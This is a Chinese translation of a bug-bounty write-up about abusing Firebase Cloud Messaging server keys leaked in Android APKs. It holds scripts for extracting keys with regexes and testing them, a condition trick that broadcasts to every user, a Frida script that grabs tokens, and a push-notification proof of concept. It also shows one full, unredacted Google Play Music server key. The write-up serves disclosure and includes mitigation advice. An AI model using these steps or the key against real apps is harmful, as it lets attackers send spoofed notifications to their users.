不小心发现谷歌 Firebase 消息服务的漏洞,获奖3万+美元
收集反编译 APK 数据集
#!/bin/bash
for file in *.apk
do
java -jar ~/APK_Research/apktool.jar d $file -o decompiled_apks/$file/
done
变量名称说明一切
apk-1/AndroidManifest.xml: <meta-data android:name="server_key" android:value="AIzaSyB[REDACTED]"/>
apk-3/trx.smali: const-string v1, "AIzaSyQ[REDACTED]"
apk-5/AndroidManifest.xml: <meta-data android:name="com.google.android.geo.API_KEY" android:value="AIzaSy[REDACTED]"/>
apk-8/res/values/strings.xml: <string name="google_maps_geocoder_key">AIzaSyl[REDACTED]</string>
apk-2/res/values/strings.xml: <string name="notification_server_key">AIzaSyl[REDACTED]</string>
apk-4/AndroidManifest.xml: <meta-data android:name="com.google.android.maps.v2.API_KEY" android:value="AIzaSy[REDACTED]"/>
FCM 服务器密钥——阅读文档并验证密钥
存在一个处理 Send Requests (执行推送通知的授权请求)的服务器环境
存在一个客户端 FCM SDK,负责生成识别设备 app 实例的 IID 令牌。
api_key=YOUR_SERVER_KEY
curl --header "Authorization: key=$api_key" \
--header Content-Type:"application/json" \
https://fcm.googleapis.com/fcm/send \
-d "{\"registration_ids\":[\"ABC\"]}"
发现密钥变体
正则表达式 AAAA[A-Za-z0-9_-]{7}:[A-Za-z0-9_-]{140}的FCM 服务器密钥。
正则表达式 AIzaSy[0-9A-Za-z_-]{33}的遗留 FCM 服务器密钥。可将该密钥自动添加到你的 GCP 项目中。
具有和以上正则表达式AIzaSy[0-9A-Za-z_-]{33}相同的 FCM 权限的 GCP 密钥。在这个变体中,密钥是在 GCP 密钥下创建的,之后获得重要权限。
{
"flags": "-oEarHn",
"patterns": [
"AIzaSy[0-9A-Za-z_-]{33}",
"AAAA[a-zA-Z0-9_-]{7}:[a-zA-Z0-9_-]{140}"
]
}
#!/bin/bash
while read -r key
do
code=`curl --header "Authorization: key=$key" --header Content-Type:"application/json" -s -o /dev/null -w "%{http_code}" -d "{\"registration_ids\":[\"ABC\"]}" 'https://fcm.googleapis.com/fcm/send'`
if [ "$code" == "200" ]
then
echo "[*] Key is $key"
echo "$key" >> valid_keys.txt
fi
#gcp_keys.txt has the all the grepped keys, both AAAA[a-zA-Z0-9_-]{7}:[a-zA-Z0-9_-]{140} and AIzaSy[0-9A-Za-z_-]{33}
done<"/gcp_keys.txt"
#eliminate duplicates
sort -u -o valid_keys.txt valid_keys.txt
echo "DONE!"
影响的界定
如何定义它们的影响?
创建简明扼要的 POC 需要哪些步骤?
能够使用富通知,即镜像/gif 动图吗?
在客户端的应用程序代码中查找字符串
subscribeToTopic(
在服务器端通过暴力获取 topic 名称
POST https://fcm.googleapis.com/fcm/send HTTP/1.1
Content-Type: application/json
Authorization: Key=AizaSy
{
"message":{
"topic" : "<TOPIC-NAME>",
"notification" : {
"body" : "This is a Firebase Cloud Messaging Topic Message!",
"title" : "FCM Message"
}
}
}
逻辑条件表达式——使用 Not 表达式进行播报
条件:
"'TopicA' in topics && ('TopicB' in topics || 'TopicC' in topics)"
翻译:
For a user X,
check if they are subscribed to topic A **and** topic B **OR** topic C.
If yes, enroll them to recieve the notification
You can use any random topic name with any sorts of randomization . I have used xyz4356545 in the below example to forumulate this condition.
条件:
"!('xyz4356545' in topics)"
翻译:
For a User X,
Check If 'xyz4356545' exists under their topics subscription?
Always NO, so the condition ('xyz4356545' in topics) is always False.
Using "!", ('xyz4356545' in topics) --> !('xyz4356545' in topics)
Will always negate False, i.e always True for every user.
协作和创建 PoC
如何通过从客户端获取的 IID 令牌提取服务器实例元数据。我可借此确认 FCM密钥和应用程序之间的关系,以证实该密钥确实对所述应用程序具有授权。
{"applicationVersion":"57018","application":"com.org.app","scope":"*","authorizedEntity":"838826245449","appSigner":"1c70bd0334ba2d71bdff6e501b30db0328bc5c14","platform":"ANDROID"}
如何向我自己的设备发送通知并创建 POC。
api_key=YOUR_SERVER_KEY
curl --header "Authorization: key=$api_key" \
--header Content-Type:"application/json" \
https://fcm.googleapis.com/fcm/send \
-d "{\"registration_ids\":[\"IID TOKEN A.K.A Registration token goes here\"]}"
Google VRP: 通过 Frida 构建 PoC,影响10亿用户
const-string v1, "FCM Device Token" invoke-static {v1, v3}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I move-result v1
https://frida.re/docs/examples/android/
https://www.shielder.it/blog/fridalab-writeup/
https://joshspicer.com/android-frida-1
https://book.hacktricks.xyz/mobile-apps-pentesting/android-app-pentesting/frida-tutorial
https://resources.infosecinstitute.com/frida/#gref
接管谷歌 Play Music FCM, 影响10亿用户
./smali_classes2/com/google/android/music/firebase/FirebaseAppFactory.smali:35:
const-string v1, "AAAAODDc_Do:APA91bG5kQSzauxg1GSrq3eot5GUPyfouZ5KZObtBUpdM0xoxWGCulSPK1FIKan3IIBK-YlrkOcXkIo0kv7NlUFSOV54Qdy21z9czkFBoe6dMxBEEKAAD8KlC3LYuDugRdrMXJr1ggsL"
反编译该 apk 并通过 JADX GUI 查看源代码
查找导入 FCM 实例 id类:“importcom.google.firebase.iid.FirebaseInstanceId;”。这些类包含调用所需 SDK 方法的函数,这些方法将返回 IID 令牌。因此这样有助于我缩减这些类的范围。
找到和 IID 令牌相关的合适函数并进行探查。
private String getFcmIidToken() throws FcmRegistrationException {
Task<InstanceIdResult> instanceId = this.firebaseInstanceId.getInstanceId();
try {
Tasks.await(instanceId);
if (!instanceId.isComplete() || !instanceId.isSuccessful()) {
throw new FcmRegistrationException("Cannot get iid.");
}
InstanceIdResult result = instanceId.getResult();
if (instanceId.isSuccessful()) {
Log.d("MusicGcmRegistration", "FCM registration was successful.");
return result.getToken();
}
throw new FcmRegistrationException("Not saving FCM token, does not exist.", instanceId.getException());
} catch (InterruptedException | ExecutionException e) {
throw new FcmRegistrationException("Error getting iid", e);
}
}
this.firebaseInstanceId.getInstanceId().getResult().getToken()
Java.perform(function () {
console.log("Tracing getFcmIidToken under class com.google.android.music.sync.google.gcm.FcmRegistrationHandler");
// As the method getFcmIidToken() is non-static, it needs to be invoked by an instance of the class.
// Hence the use of Java.choose()
Java.choose("com.google.android.music.sync.google.gcm.FcmRegistrationHandler", {
onMatch: function (inst) {
console.log("Instance Found "+inst.toString());
var ret_val = inst.getFcmIidToken();
console.log("FCM IID token is "+ret_val);
}
});
console.log("Done");
});
frida -U -l C:\Users\user\Desktop\getFCM.js -f com.google.android.music --no-pause
通过如下 curl 提取服务器实例元数据:
curl -X GET --header "Authorization: key=AAAAODDc_Do:APA91bG5kQSzauxg1GSrq3eot5GUPyfouZ5KZObtBUpdM0xoxWGCulSPK1FIKan3IIBK-YlrkOcXkIo0kv7NlUFSOV54Qdy21z9czkFBoe6dMxBEEKAAD8KlC3LYuDugRdrMXJr1ggsL" --header "Content-Type:application/json" https://iid.googleapis.com/iid/info/fgis_9yyD_c:APA91bEilQI1ncoYlYpF-AIUQvQdymi7iSaXDX2Tuv3rhpo3PDoawCHhzmdFjahXsltRuYxPb7vL2YReVOR4fCMcir76rFsKLfer4abpq8_KdRzGHf1exz0GJU4APTOadqvU5x9vv1os?details=true
{"applicationVersion":"84291","application":"com.google.android.music","scope":"*","authorizedEntity":"241337957434","appSigner":"38918a453d07199354f8b19af05ec6562ced5788","platform":"ANDROID"}
$ python3 fcm_send_selfnotif.py -sk <server_key_found> -iid <iid_token_extracted>
from pyfcm import FCMNotification
import argparse
# Input Management
ap = argparse.ArgumentParser()
ap.add_argument(
"-sk", "--serverkey", required=True,
help="FCM Server Key found"
)
ap.add_argument(
"-iid", "--iid", required=True,
help="IID Token source from the Client App"
)
args = vars(ap.parse_args())
server_key = args["serverkey"]
iid = args["iid"]
#Authorization
push_service = FCMNotification(api_key=server_key)
#Notification Payload
registration_id = iid
message_title = "FCM Hack!"
message_body = "By Abhishek Dharani and Yash Sodha"
#Building Send Request and Executing it.
result = push_service.notify_single_device(registration_id=registration_id, message_title=message_title, message_body=message_body,dry_run=False)
print result
接管谷歌 Hangouts、Youtube Go 和 Youtube Music FCM
缓解措施说明
如果被暴露的服务器密钥是云消息通讯标签下的模式 AIzaSy{33} 的FCM 遗留服务器密钥,那么这些密钥是控制台中的常数,即“编辑/删除”选项不可用。
从我所收集的信息来看,可以通过另外一种方式从新生成或删除这些密钥,解释如下。
进入“谷歌开发者控制台”页面。
登入后,在右上角选择正确的项目。如果在“最近”条目中未找到,则到“全部”标签下寻找。
选择正确的项目后,点击向左面板上的“凭据”。之后你应该会看到一个密钥清单,其中一个密钥是“Server”密钥(Google Service 自动创建)。检查后你会发现这个密钥就是 Firebase 项目中看到的“遗留服务器密钥”。
自此,你可以点击“铅笔”或“垃圾桶”图表。
如果你的FCM 服务器密钥的长度是152个字符且模式如下正则表达式所示:
详情和 PoC 发布后,谷歌匆忙修复严重的 Gmail 漏洞
谷歌8月更新修复50多个漏洞
https://abss.me/posts/fcm-takeover/
题图:Pixabay License
本文由奇安信代码卫士编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 www.codesafe.cn”。
奇安信代码卫士 (codesafe)
国内首个专注于软件开发安全的
产品线。